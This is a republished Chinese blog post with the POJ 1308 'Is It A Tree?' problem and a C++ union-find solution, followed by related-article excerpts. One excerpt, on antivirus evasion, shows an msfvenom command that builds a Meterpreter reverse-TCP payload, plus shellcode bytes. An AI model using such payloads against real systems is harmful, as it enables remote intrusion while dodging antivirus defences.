POJ 1308 Is It A Tree? (并查集)

Is It A Tree?

题目链接:

http://acm.hust.edu.cn/vjudge/contest/123393#problem/M

Description

A tree is a well-known data structure that is either empty (null, void, nothing) or is a set of one or more nodes connected by directed edges between nodes satisfying the following properties.

There is exactly one node, called the root, to which no directed edges point.
Every node except the root has exactly one edge pointing to it.
There is a unique sequence of directed edges from the root to each node.
For example, consider the illustrations below, in which nodes are represented by circles and edges are represented by lines with arrowheads. The first two of these are trees, but the last is not.
764119-20160727103014638-1558301427.png

In this problem you will be given several descriptions of collections of nodes connected by directed edges. For each of these you are to determine if the collection satisfies the definition of a tree or not.

Input

The input will consist of a sequence of descriptions (test cases) followed by a pair of negative integers. Each test case will consist of a sequence of edge descriptions followed by a pair of zeroes Each edge description will consist of a pair of integers; the first integer identifies the node from which the edge begins, and the second integer identifies the node to which the edge is directed. Node numbers will always be greater than zero.

Output

For each test case display the line "Case k is a tree." or the line "Case k is not a tree.", where k corresponds to the test case number (they are sequentially numbered starting with 1).

Sample Input

6 8 5 3 5 2 6 4
5 6 0 0

8 1 7 3 6 2 8 9 7 5
7 4 7 8 7 6 0 0

3 8 6 8 6 4
5 3 5 6 5 2 0 0
-1 -1

Sample Output

Case 1 is a tree.
Case 2 is a tree.
Case 3 is not a tree.


题意:


判断给出的图是否是一棵树.


题解:


这题跟HDU1272判断联通无环图一模一样,图的有向无向并不造成影响.
(http://www.cnblogs.com/Sunshine-tcf/p/5709544.html).


代码:

#include <iostream>
#include <cstdio>
#include <cstring>
#include <cmath>
#include <algorithm>
#include <queue>
#include <map>
#include <set>
#include <vector>
#define LL long long
#define eps 1e-8
#define maxn 101000
#define mod 100000007
#define inf 0x3f3f3f3f
#define IN freopen("in.txt","r",stdin);
using namespace std;int fa[maxn];
int _rank[maxn];
bool vis[maxn];void init_set() {for(int i=0; i<maxn; i++) {fa[i] = i;_rank[i] = 0;}
}int find_set(int x) {return fa[x] = (x==fa[x]? x:find_set(fa[x]));
}void unit_set(int x, int y) {vis[x] = vis[y] = 1;x = find_set(x);y = find_set(y);if(_rank[x] < _rank[y]) swap(x, y);fa[y] = x;if(_rank[x] == _rank[y]) _rank[x]++;
}int main(int argc, char const *argv[])
{//IN;int x, y, ans = 1; int ca = 1;init_set();memset(vis, 0, sizeof(vis));while(scanf("%d %d", &x, &y) != EOF && (x!=-1||y!=-1)){if(!x && !y) {int last = -1;for(int i=0; i<maxn; i++) {if(!vis[i]) continue;if(last == -1) last = find_set(i);if(last != find_set(i)) {ans = 0; break;}}if(ans) printf("Case %d is a tree.\n", ca++);else printf("Case %d is not a tree.\n", ca++);ans = 1;init_set();memset(vis, 0, sizeof(vis));continue;}if(find_set(x) == find_set(y)) ans = 0;else unit_set(x, y);}return 0;
}

转载于:https://www.cnblogs.com/Sunshine-tcf/p/5709548.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/271273.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Mysql分页加pagebean_Spring+MyBatis+SpringMvc+Mysql+Druid+PageHelper分页实现

我是阿福&#xff0c;公众号「阿福聊编程」作者&#xff0c;一个在后端技术路上摸盘滚打的程序员&#xff0c;在进阶的路上&#xff0c;共勉&#xff01;文章已收录在 JavaSharing 中&#xff0c;包含Java技术文章&#xff0c;面试指南&#xff0c;资源分享。思路分析MyBatis的…

python csv使用_python CSV模块的使用

简介 CSV&#xff08;comma separated values&#xff09;&#xff0c;逗号分隔值&#xff08;字符分割值&#xff0c;字符可以不是逗号&#xff09;&#xff0c;常用的文本格式&#xff0c;用以存储表格数据&#xff0c;包括数字或者字符。kaggle就是csv格式&#xff0c;pytho…

数据库技术基础:查询优化相关知识笔记

1、查询优化的基本概念1.1 查询处理查询处理是指从数据库中提取数据的一系列活动。主要包括:将高级数据库查询语句翻译成文件系统这一物理 层次的表达式&#xff0c;为优化查询进行各种转换以及查询的实际执行。1.2 查询处理的代价查询处理的代价通常由磁盘的访问&#xff0c;因…

设计模式----解释器模式

一、简介 解释器模式使用频率并不高&#xff0c;通常用来构建一个简单语言的语法解释器&#xff0c;它只在一些非常特定的领域被用到&#xff0c;比如编译器、规则引擎、正则表达式、sql解析等。 解释器模式是行为型设计模式之一&#xff0c;它的原始定义为&#xff1a;用于定义…

HTML学习笔记16——尺寸的表示_px、%、em三种

1.像素表示&#xff1a; 23px 2.子像素可以用百分比表示其大小&#xff0c;如50%&#xff0c;表示为父元素的一半 如果块状子元素的宽度不指定&#xff0c;默认是占满父元素的宽度&#xff1b; 3.用em表示字体大小时&#xff0c;表示相对大小&#xff0c;是与父元素的比值&…

mysql索引是自动使用吗_mysql索引是自动使用吗?

MYSQL在创建索引后对索引的使用方式分为两种&#xff1a;其一&#xff0c;由数据库的查询优化器自动判断是否使用索引&#xff1b;其二&#xff0c;用户可在写SQL语句时强制使用索引。MYSQL在创建索引后对索引的使用方式分为两种&#xff1a;1 由数据库的查询优化器自动判断是否…

mac idea配置配置自动清除类中无用的import包

1:mac快捷键清包 control option o windows快捷键 Ctrl Alt O 2:打开Perferences ---> Editor --->Auto Imort 在下图选中方方框中勾上

关系数据库基础:函数依赖知识笔记

1、函数依赖的定义设R(U)是属性集U.上的关系模式&#xff0c;X, Y是U的子集。若对于R(U)的任意一个可能的关系r,r中不可能存在两个元组在X集合上的属性值相等,而在Y上的属性值不等&#xff0c;则称X函数确定Y或Y函数依赖于X,记作X→Y。理解&#xff1a;X&#xff0c;Y为两个集合…

pythonspark实例_spark+python快速入门实战小例子(PySpark)

1、集群测试实例 代码如下&#xff1a; from pyspark.sql import SparkSession if __name__ "__main__": spark SparkSession\ .builder\ .appName("PythonWordCount")\ .master("spark://mini1:7077") \ .getOrCreate() spark.conf.set("…

【Spark】Spark基础教程知识点

第 1 部分 Spark 基础 Spark 概述 本章介绍 Spark 的一些基本认识. Spark官方地址 一&#xff1a;什么是 Spark Spark 是一个快速(基于内存), 通用, 可扩展的集群计算引擎 并且 Spark 目前已经成为 Apache 最活跃的开源项目, 有超过 1000 个活跃的贡献者. 历史 2009 年…

关系数据库理论:数据库的六大范式知识笔记

1、数据库范式的作用数据库范式主要是为解决关系数据库中数据冗余、更新异常、插入异常、删除异常问题而引入的设计理念。简单来说&#xff0c;数据库范式可以避免数据冗余&#xff0c;减少数据库的存储空间&#xff0c;并且减轻维护数据完整性的成本。是关系数据库核心的技术之…

python 生成payload_利用Python进行Payload分离免杀

缺点&#xff1a;编译成exe以后体积过大实现&#xff1a;msf生成shellcode代码&#xff1a;msfvenom -p windows/meterpreter/reverse_tcp --encrypt base64 LHOST192.168.3.60 LPORT3333 -f c将payload给copy下来&#xff0c;去除引号。\x2f\x4f\x69\x43\x41\x41\x41\x41\x59\…

ping不通docker_初识docker

前言大家好&#xff0c;我是jack xu&#xff0c;本篇是我在今日头条的首秀&#xff0c;我的英文名来源于jack ma&#xff0c;马云&#xff0c;所以大家也可以叫我徐云&#xff0c;即我希望像马云一样富有、成功&#xff0c;另外我名字中的杰与jack也是谐音关系。今天给大家带来…

SQL语言基础:数据库语言概念介绍

1、概念介绍SQL&#xff08;Structured Query Lanauage&#xff09;结构化查询语言是关系数据库中最普遍使用的语言。主要包括查询、数据操纵、数据定义、数据控制功能&#xff0c;是一种通用的、功能强大的关系数据库的标准语言。2、SQL语言分类2.1 数据库定义语言&#xff08…

configuration 命名空间_kubernetes30:monitoring命名空间处于Terminating状态的处理方法...

删除monitoring命名空间时总也无法彻底删除&#xff0c;发现monitoring处于Terminating状态&#xff0c;故有此文。kubectl get namespaces -o wide解决&#xff1a;尝试使用force delete。kubectl delete namespace monitoring --force --grace-period0发现强制删除没有成功。…

SQL语言基础:SQL语言概念知识笔记

1、SQL标准ANSI&#xff08;美国国家标准机构&#xff09;SQL对ANSI SQL进行修改后在1992年采用的标准SQL-92或SQL2SQL-99或SQL3标准从SQL2扩充而来&#xff0c;增加了对象关系特征和许多其他新的功能。最近的标准版本是SQL&#xff1a;20032、SQL的特点综合统一&#xff1a;SQ…

原型(Prototype)的场景是不支持循环依赖的

原型(Prototype)的场景是不支持循环依赖的&#xff0c;通常会走到AbstractBeanFactory类中下面的判断&#xff0c;抛出异常。

网络工程中,VLAN到底有什么作用?

什么是VLAN呢&#xff1f;VLAN&#xff08;Virtual Local Area Network&#xff09;即虚拟局域网&#xff0c;是将一个物理的LAN在逻辑上划分成多个广播域的通信技术。在IEEE802.1Internetworking委员会结束了对VLAN初期标准的修订工作的时候。新出台的标准进一步完善了VLAN的体…

hrjava项目原型html_Mockplus for Mac(原型设计工具)

Mockplus for Mac是Mac平台上一款简单、快速的原型设计工具&#xff0c;无需任何编程&#xff0c;不需要任何编程基础知识&#xff0c;帮你快速使用Mockplus设计图形。Mockplus封装了近200个组件&#xff0c;提供3000个以上的图标素材。做图时&#xff0c;只需要把这些组件放入…

Leetcode 给定一个数组,给定一个数字。返回数组中可以相加得到指定数字的两个索引

问题内容是&#xff1a;给定一个数组&#xff0c;给定一个数字。返回数组中可以相加得到指定数字的两个索引。 比如&#xff1a;给定nums [2, 7, 11, 15], target 9 那么要返回 [0, 1]&#xff0c;因为2 7 9 这道题的优解是&#xff0c;一次遍历HashMap&#xff1a; 先去…